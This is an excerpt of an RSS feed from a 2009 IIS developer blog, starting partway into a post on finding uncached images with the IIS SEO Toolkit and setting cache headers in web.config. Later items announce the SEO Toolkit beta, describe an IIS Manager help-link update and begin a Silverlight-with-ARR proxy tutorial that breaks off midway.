&lt;DIV class=code&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;?xml&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; version&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="1.0"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; encoding&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="utf-8"?&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;query&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; dataSource&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="urls"&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;filter&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;expression&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; field&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="IsExternal"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; operator&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="Equals"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; value&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="False"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;expression&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; field&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="StatusCode"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; operator&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="Equals"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; value&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="OK"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;expression&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; field&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="ContentTypeNormalized"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; operator&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="Begins"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; value&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="image/"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;expression&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; field&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="Headers"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; operator&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="NotContains"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; value&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="Cache-Control:"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;expression&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; field&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="Headers"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; operator&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="NotContains"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; value&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="Expires:"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp; &amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;filter&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;displayFields&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;field&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; name&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="URL"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;field&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; name&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="ContentTypeNormalized"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;field&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; name&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="StatusCode"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp; &amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;displayFields&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;query&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;&lt;/FONT&gt; &lt;/DIV&gt;
&lt;H3&gt;How do I fix it?&lt;/H3&gt;
&lt;P&gt;In IIS 7 this is trivial to fix, you can just drop a web.config file in the same directory where your images and scripts and CSS styles specifying the caching behavior for them. The following web.config will send the Cache-Control header so that the browser caches the responses for up to 7 days.&lt;/P&gt;
&lt;DIV class=code&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;?xml&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; version&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="1.0"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; encoding&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="UTF-8"?&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;configuration&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;system.webServer&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;staticContent&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;clientCache&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; cacheControlMode&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="UseMaxAge"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; cacheControlMaxAge&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="7.00:00:00"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;staticContent&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;system.webServer&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;configuration&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;&lt;/FONT&gt; &lt;/DIV&gt;
&lt;P&gt;You can also do this through the UI (IIS Manager) by going into the "HTTP Response Headers" feature -&amp;gt; Set Common Headers... or any of our API's using Managed code, JavaScript or your favorite language:&lt;/P&gt;
&lt;P&gt;&lt;IMG src="http://www.iis.net/images/configreference/clientCache_howto_5.png"&gt; &lt;/P&gt;
&lt;P&gt;&lt;A title=http://www.iis.net/ConfigReference/system.webServer/staticContent/clientCache href="http://www.iis.net/ConfigReference/system.webServer/staticContent/clientCache"&gt;http://www.iis.net/ConfigReference/system.webServer/staticContent/clientCache&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;Furthermore, using the same query above in the Query Builder you can Group by Directory and find the directories that really worth adding this. For that is just matter of clicking the "Group by" button and adding the URL-Directory to the Group by clauses. Not surprisingly in my case it flags the App_Themes directory where I store 8 images.&lt;/P&gt;
&lt;P&gt;&lt;A href="http://www.carlosag.net/images/CacheyourimagesandscriptsIISSEO_1083D/ImagesWithoutCache.png"&gt;&lt;IMG style="BORDER-RIGHT-WIDTH: 0px; BORDER-TOP-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px" title="IIS SEO" border=0 alt="IIS SEO" src="http://www.carlosag.net/images/CacheYourImagesIISSEO/ImagesWithoutCache_thumb.png" mce_src="http://www.carlosag.net/images/CacheYourImagesIISSEO/ImagesWithoutCache_thumb.png"&gt;&lt;/A&gt; &lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;H3&gt;Finally, what about 304's?&lt;/H3&gt;
&lt;P&gt;One thing to note is that that even if you do not do anything most modern browsers will use conditional requests to reduce the latency if they have a copy in their cache, as an example, imagine the browser needs to display logo.gif as part of displaying test.htm and that image is available in their cache, the browser will issue a request like this &lt;/P&gt;
&lt;DIV class=code&gt;&lt;PRE&gt;GET /logo.gif HTTP/1.1
Accept: */*
Referer: http://carlosag-client/test.htm
Accept-Language: en-us
User-Agent: (whatever-browser-you-are-using)
Accept-Encoding: gzip, deflate
&lt;STRONG&gt;If-Modified-Since: Mon, 09 Jun 2008 16:58:00 GMT
If-None-Match: "01c13f951cac81:0"
&lt;/STRONG&gt;Host: carlosagdev:8080
Connection: Keep-Alive&lt;/PRE&gt;&lt;/DIV&gt;
&lt;P&gt;Note the use of If-Modfied-Since header which tells the server to only send the actual data if it has been changed after that time. In this case it hasn't so the server responds with a status code 304 (Not Modified)&lt;/P&gt;
&lt;DIV class=code&gt;&lt;PRE&gt;&lt;STRONG&gt;HTTP/1.1 304 Not Modified&lt;/STRONG&gt;
Last-Modified: Mon, 09 Jun 2008 16:58:00 GMT
Accept-Ranges: bytes
ETag: "01c13f951cac81:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Sun, 07 Jun 2009 06:33:51 GMT&lt;/PRE&gt;&lt;/DIV&gt;
&lt;P&gt;Even though this helps you can imagine that this still requires a whole roundtrip to the server which even though will have a short response, it can still have a significant impact if rendering of the page is waiting for it, as in the case of a CSS file that the browser needs to resolve to display correctly the page or an &amp;lt;img&amp;gt; tag that does not include the dimensions (width and height attributes) and so requires the actual image to determine the required space (one reason why you should always specify the dimensions in markup to increase rendering performance).&lt;/P&gt;
&lt;H3&gt;Summary&lt;/H3&gt;
&lt;P&gt;To summarize, with IIS Search Engine Optimization Toolkit you can easily build your own queries to learn more about your own Web site, allowing you to easily find details that otherwise were tedious tasks. In this case I show how easy it is to find all the images that are not specifying any caching headers and you can do the same thing for scripts (if you add Content Type Normalized equals application/javascript)&amp;nbsp; or styles (Content Type Normalized Equals text/css). This way you can increase the performance of the rendering and reduce the overall bandwidth of your Web site.&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9711443" width="1" height="1"&gt;&lt;img src="http://feeds.feedburner.com/~r/CarlosAg/~4/lvcju2KvNp0" height="1" width="1"/&gt;</description><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx">IIS</category><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS+Manager/default.aspx">IIS Manager</category><category domain="http://blogs.msdn.com/carlosag/archive/tags/SEO/default.aspx">SEO</category><feedburner:origLink>http://blogs.msdn.com/carlosag/archive/2009/06/09/are-you-caching-your-images-and-scripts-iis-seo-can-tell-you.aspx</feedburner:origLink></item><item><title>Announcing: IIS Search Engine Optimization Toolkit Beta 1</title><link>http://feedproxy.google.com/~r/CarlosAg/~3/kTd8Vg92Gbg/iis-search-engine-optimization-toolkit-beta-1.aspx</link><pubDate>Thu, 04 Jun 2009 00:24:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9693170</guid><dc:creator>CarlosAg</dc:creator><slash:comments>13</slash:comments><comments>http://blogs.msdn.com/carlosag/comments/9693170.aspx</comments><wfw:commentRss>http://blogs.msdn.com/carlosag/commentrss.aspx?PostID=9693170</wfw:commentRss><description>&lt;P&gt;Today we are releasing the &lt;A href="http://www.iis.net/extensions/SEOToolkit" mce_href="http://www.iis.net/extensions/SEOToolkit"&gt;IIS Search Engine Optimization Toolkit&lt;/A&gt;. The IIS SEO Toolkit is a set of features that aim to help you keep your Web site and its content in good shape for both Users and Search Engines.&lt;/P&gt;
&lt;P&gt;The features that are included in this Beta release include:&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;Site Analysis. This feature includes a crawler that starts looking at your Web site contents, discovering links, downloading the contents and applying a set of validation rules aimed to help you easily troubleshoot common problems such as broken links, duplicate content, keyword analysis, route analysis and many more features that will help you improve the overall quality of your Web site.&lt;/LI&gt;
&lt;LI&gt;Robots Exclusion Editor. This includes a powerful editor to author &lt;A href="http://en.wikipedia.org/wiki/Robots_Exclusion_Standard" mce_href="http://en.wikipedia.org/wiki/Robots_Exclusion_Standard"&gt;Robots Exclusion&lt;/A&gt; files. It can leverage the output of a Site Analysis crawl report and allow you to easily add the Allow and Disallow entries without having to edit a plain text file, making it less error prone and more reliable. Furthermore, you can run the Site Analysis feature again and see immediately the results of applying your robots files.&lt;/LI&gt;
&lt;LI&gt;Sitemap and Sitemap Index Editor. Similar to the Robots editor, this allows you to author &lt;A href="http://sitemaps.org/" mce_href="http://sitemaps.org/"&gt;Sitemap and Sitemap&lt;/A&gt; Index files with the ability to discover both physical and logical (Site Analysis crawler report) view of your Site.&lt;/LI&gt;&lt;/UL&gt;
&lt;P&gt;Checkout the &lt;A href="http://weblogs.asp.net/scottgu/archive/2009/06/03/iis-search-engine-optimization-toolkit.aspx" mce_href="http://weblogs.asp.net/scottgu/archive/2009/06/03/iis-search-engine-optimization-toolkit.aspx"&gt;great blog about IIS SEO Toolkit by ScottGu&lt;/A&gt;, or &lt;A href="http://www.carlosag.net/images/IISSEOBeta.wmv" mce_href="http://www.carlosag.net/images/IISSEOBeta.wmv"&gt;this IIS SEO simple video of some of its capabilities&lt;/A&gt;.&lt;/P&gt;
&lt;H2&gt;Run it in your Development, Staging, or Production Environments&lt;/H2&gt;
&lt;P&gt;One of the problems with many similar tools out there is that they require you to publish the updates to your production sites before you can even use the tools, and of course would never be usable for Intranet or internal applications that are not exposed to the Web. The IIS Search Engine Optimization Toolkit can be used internally in your own development or staging environments giving you the ability to clean up the content before publishing to the Web. This way your users do not need to pay the price of broken links once you publish to the Web and you will not need to wait for those tools or Search Engines to crawl your site to finally discover you broke things.&lt;/P&gt;
&lt;P&gt;For developers this means that they can now easily look at the potential impact of removing or renaming a file, easily check which files are referring to this page and which files he can remove because of only being referenced by this page.&lt;/P&gt;
&lt;H2&gt;Run it against any Web application built on any framework running in any server&lt;/H2&gt;
&lt;P&gt;One thing that is important to clarify is that you can target and analyze your production sites if you want to, and you can target Web applications running in any platform, whether its ASP.NET, PHP, or plain HTML text files running in your local IIS or on any other remote server.&lt;/P&gt;
&lt;P&gt;Bottom line, try it against your Web site, look at the different features and give us feedback for additional reports, options, violations, content to parse, etc, post any comments or questions at the &lt;A href="http://forums.iis.net/1162.aspx" mce_href="http://forums.iis.net/1162.aspx"&gt;IIS Search Engine Optimization Forum&lt;/A&gt;.&lt;/P&gt;
&lt;P&gt;The &lt;A href="http://learn.iis.net/page.aspx/639/using-iis-search-engine-optimization-toolkit/" mce_href="http://learn.iis.net/page.aspx/639/using-iis-search-engine-optimization-toolkit/"&gt;IIS SEO Toolkit documentation &lt;/A&gt;can be found at &lt;A href="http://learn.iis.net/page.aspx/639/using-iis-search-engine-optimization-toolkit/"&gt;http://learn.iis.net/page.aspx/639/using-iis-search-engine-optimization-toolkit/&lt;/A&gt;, but remember this is only Beta 1 so we will be adding more features and content.&lt;/P&gt;
&lt;P&gt;&lt;IMG style="WIDTH: 699px; HEIGHT: 512px" title="IIS Search Engine Optimization Toolkit" alt="IIS Search Engine Optimization Toolkit" src="http://i3.iis.net/images/content/getstarted/extensions/SEO-Toolkit-BIG.jpg" width=699 height=512 mce_src="http://i3.iis.net/images/content/getstarted/extensions/SEO-Toolkit-BIG.jpg"&gt;&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9693170" width="1" height="1"&gt;&lt;img src="http://feeds.feedburner.com/~r/CarlosAg/~4/kTd8Vg92Gbg" height="1" width="1"/&gt;</description><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx">IIS</category><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS+News+Item/default.aspx">IIS News Item</category><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS+Manager/default.aspx">IIS Manager</category><category domain="http://blogs.msdn.com/carlosag/archive/tags/SEO/default.aspx">SEO</category><feedburner:origLink>http://blogs.msdn.com/carlosag/archive/2009/06/03/iis-search-engine-optimization-toolkit-beta-1.aspx</feedburner:origLink></item><item><title>IIS Manager Online Help Link gets updated</title><link>http://feedproxy.google.com/~r/CarlosAg/~3/VHNj_ge_tAg/iis-manager-online-help-link-gets-updated.aspx</link><pubDate>Fri, 13 Feb 2009 19:00:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9419892</guid><dc:creator>CarlosAg</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.msdn.com/carlosag/comments/9419892.aspx</comments><wfw:commentRss>http://blogs.msdn.com/carlosag/commentrss.aspx?PostID=9419892</wfw:commentRss><description>&lt;P&gt;While using IIS Manager, did you ever wondered what configuration section is this UI changing? Is there a way I could automate this using scripts or command line?&lt;/P&gt;
&lt;P&gt;Well, if you use IIS Manager 7.0 you might have noticed that we have a link in every page called Online Help, and if you've ever clicked it you would have noticed that it takes you to the &lt;A href="http://technet.microsoft.com/en-us/library/cc732976.aspx" mce_href="http://technet.microsoft.com/en-us/library/cc732976.aspx"&gt;IIS 7 Operations Guide&lt;/A&gt;, however you might ask yourself if it was that important to place that in every page, and the answer was that we had other reasons to add it there.&lt;/P&gt;
&lt;P&gt;Back then when we were designing the UI we realized we wanted to provide the best content we could have for each page and potentially be able to update it as more content was available, for that reason we added this link there. However, the content was not ready at the time and instead we pointed it to our operations guide. &lt;/P&gt;
&lt;P&gt;But the good news is that we are updating those links to point to their respective entry in the &lt;A href="http://www.iis.net/ConfigReference" mce_href="http://www.iis.net/ConfigReference"&gt;Configuration Reference&lt;/A&gt; that was &lt;A href="http://blogs.iis.net/bills/archive/2009/01/20/now-online-comprehensive-iis7-technical-reference.aspx" mce_href="http://blogs.iis.net/bills/archive/2009/01/20/now-online-comprehensive-iis7-technical-reference.aspx"&gt;recently published.&lt;/A&gt; This means now that in any page in IIS Manager, if you click the Online Help we will point you to the configuration section that this UI would change which will give you details about how the section look like, ways to change it using Scripts, AppCmd, etc.&lt;/P&gt;
&lt;P&gt;&lt;IMG title="Online Help" style="WIDTH: 640px; HEIGHT: 434px" height=434 alt="Online Help" src="http://www.carlosag.net/images/OnlineHelpSample.png" width=640 mce_src="http://www.carlosag.net/images/OnlineHelpSample.png"&gt;&lt;/P&gt;
&lt;P&gt;An interesting thing, this new routing mechanism is brought to you by our very own &lt;A href="http://www.iis.net/extensions/URLRewrite" mce_href="http://www.iis.net/extensions/URLRewrite"&gt;URL Rewrite&lt;/A&gt; module and a simple Rewrite Map as well as a couple of rules. If you haven't looked into it, you should definitely download it and give it a try, you'll soon realize that there are so many things you can do without writing any code that you'll love it.&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9419892" width="1" height="1"&gt;&lt;img src="http://feeds.feedburner.com/~r/CarlosAg/~4/VHNj_ge_tAg" height="1" width="1"/&gt;</description><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx">IIS</category><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS+Manager/default.aspx">IIS Manager</category><feedburner:origLink>http://blogs.msdn.com/carlosag/archive/2009/02/13/iis-manager-online-help-link-gets-updated.aspx</feedburner:origLink></item><item><title>Calling Web Services from Silverlight using IIS 7.0 and ARR</title><link>http://feedproxy.google.com/~r/CarlosAg/~3/qGtDQjjLwEc/CallingWebServicesFromSilverlightUsingIISandARR.aspx</link><pubDate>Sat, 15 Nov 2008 05:00:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9087336</guid><dc:creator>CarlosAg</dc:creator><slash:comments>10</slash:comments><comments>http://blogs.msdn.com/carlosag/comments/9087336.aspx</comments><wfw:commentRss>http://blogs.msdn.com/carlosag/commentrss.aspx?PostID=9087336</wfw:commentRss><description>&lt;P&gt;During this PDC I attended Ian's presentation about WPF and Silverlight where he demonstrated the high degree of compatibility that can be achieved between a WPF desktop application and a Silverlight application. One of the differences that he demonstrated was when your application consumed Web Services since Silverlight applications execute in a sandboxed environment they are not allowed to call random Web Services or issue HTTP requests to servers that are not the originating server, or a server that exposes a cross-domain manifest stating that it is allowed to be called by clients from that domain.&lt;/P&gt;
&lt;P&gt;Then he moved to show how you can work around this architectural difference by &lt;STRONG&gt;writing your own Web Service&lt;/STRONG&gt; or HTTP end-point that basically gets the request from the client and using code on the server just calls the real Web Service. This way the client sees only the originating server and it allows the call to succeed, and the server can freely call the real Web Service. Funny enough while searching for a Quote Service I ran into &lt;A href="http://msdn.microsoft.com/en-us/magazine/cc895632.aspx" mce_href="http://msdn.microsoft.com/en-us/magazine/cc895632.aspx"&gt;an article from Dino Esposito in MSDN magazine&lt;/A&gt;&amp;nbsp; where he explains the same issue and also exposes a "Compatibility Layer" which again is just code (more than 40 lines of code) to act as proxy to call a Web Service (except he uses the JSON serializer to return the values). &lt;/P&gt;
&lt;P&gt;The obvious disadvantage is that this means you have to write code that only forwards the request and returns the response acting essentially as a proxy. Of course this can be very simple, but if the Web Service you are trying to call has any degree of complexity where custom types are being sent around, or if you actually need to consume several methods exposed by it, then it quickly becomes a big maintenance nightmare trying to keep them in sync when they change and having to do error handling properly, as well as dealing with differences when reporting network issues, soap exceptions, http exceptions, etc.&lt;/P&gt;
&lt;P&gt;So after looking at this, I immediately thought about ARR (Application Request Routing) which is a new extension for IIS 7.0 (see &lt;A title=http://www.iis.net/extensions href="http://www.iis.net/extensions" mce_href="http://www.iis.net/extensions"&gt;http://www.iis.net/extensions&lt;/A&gt;) that you can &lt;A href="http://www.iis.net/ApplicationRequestRouting" target=_blank mce_href="http://www.iis.net/ApplicationRequestRouting"&gt;download for free from IIS.NET&lt;/A&gt; for Windows 2008, that among many other things is capable of doing this kind of routing without writing a single line of code. &lt;/P&gt;
&lt;P&gt;This blog tries to show how easy it is to implement this using ARR. Here are the steps to try this: (below you can find the software required), note that if you are only interested in what is really new &lt;STRONG&gt;just go to 'Enter ARR' section below to see the configuration that fix the Web Service call&lt;/STRONG&gt;.&lt;/P&gt;
&lt;OL&gt;
&lt;LI&gt;&lt;STRONG&gt;Create a new Silverlight Project&lt;/STRONG&gt; (linked to an IIS Web Site)&lt;/LI&gt;
&lt;OL&gt;
&lt;LI&gt;Launch Visual Web Developer from the Start Menu&lt;/LI&gt;
&lt;LI&gt;File-&amp;gt;Open Web Site-&amp;gt;Local IIS-&amp;gt;Default Web Site. Click Open&lt;/LI&gt;
&lt;LI&gt;File-&amp;gt;Add-&amp;gt;New Project-&amp;gt;Visual C#-&amp;gt;Silverlight-&amp;gt;Silverlight Application&lt;/LI&gt;
&lt;LI&gt;Name:SampleClient, Locaiton:c:\Demo,&amp;nbsp; Click OK&lt;/LI&gt;
&lt;LI&gt;On the "Add Silverlight Application" dialog choose the "Link this Silverlight control into an existing Web site", and choose the Web site in the combo box.&lt;/LI&gt;
&lt;LI&gt;This will add a SampleClientTestPage.html to your Web site which we will run to test the application.&lt;/LI&gt;&lt;/OL&gt;
&lt;LI&gt;&lt;STRONG&gt;Find a Web Service to consume&lt;/STRONG&gt;&lt;/LI&gt;
&lt;OL&gt;
&lt;LI&gt;In my case I searched using &lt;A href="http://search.live.com/results.aspx?q=Stock+Quote+Web+Service" mce_href="http://search.live.com/results.aspx?q=Stock+Quote+Web+Service"&gt;http://live.com for a Stock Quote Service&lt;/A&gt; which I found one at &lt;A title=http://www.webservicex.net/stockquote.asmx href="http://www.webservicex.net/stockquote.asmx" mce_href="http://www.webservicex.net/stockquote.asmx"&gt;http://www.webservicex.net/stockquote.asmx&lt;/A&gt;&lt;/LI&gt;&lt;/OL&gt;
&lt;LI&gt;Back at our Silverlight project, &lt;STRONG&gt;add a Service Reference to the WSDL&lt;/STRONG&gt;&lt;/LI&gt;
&lt;OL&gt;
&lt;LI&gt;Select the SampleClient project in the Solution Explorer window&lt;/LI&gt;
&lt;LI&gt;Project-&amp;gt;Add Service Reference and type &lt;A title=http://www.webservicex.net/stockquote.asmx href="http://www.webservicex.net/stockquote.asmx" mce_href="http://www.webservicex.net/stockquote.asmx"&gt;http://www.webservicex.net/stockquote.asmx&lt;/A&gt; in the Address and click Go&lt;/LI&gt;
&lt;LI&gt;Specify a friendly Namespace, in this case StockQuoteService&lt;/LI&gt;
&lt;LI&gt;Click OK&lt;/LI&gt;&lt;/OL&gt;
&lt;LI&gt;Add a simple UI to call the Service&lt;/LI&gt;
&lt;OL&gt;
&lt;LI&gt;In the Page.xaml editor type the following code inside the &amp;lt;UserControl&amp;gt;&amp;lt;/UserControl&amp;gt; tags:&lt;/LI&gt;
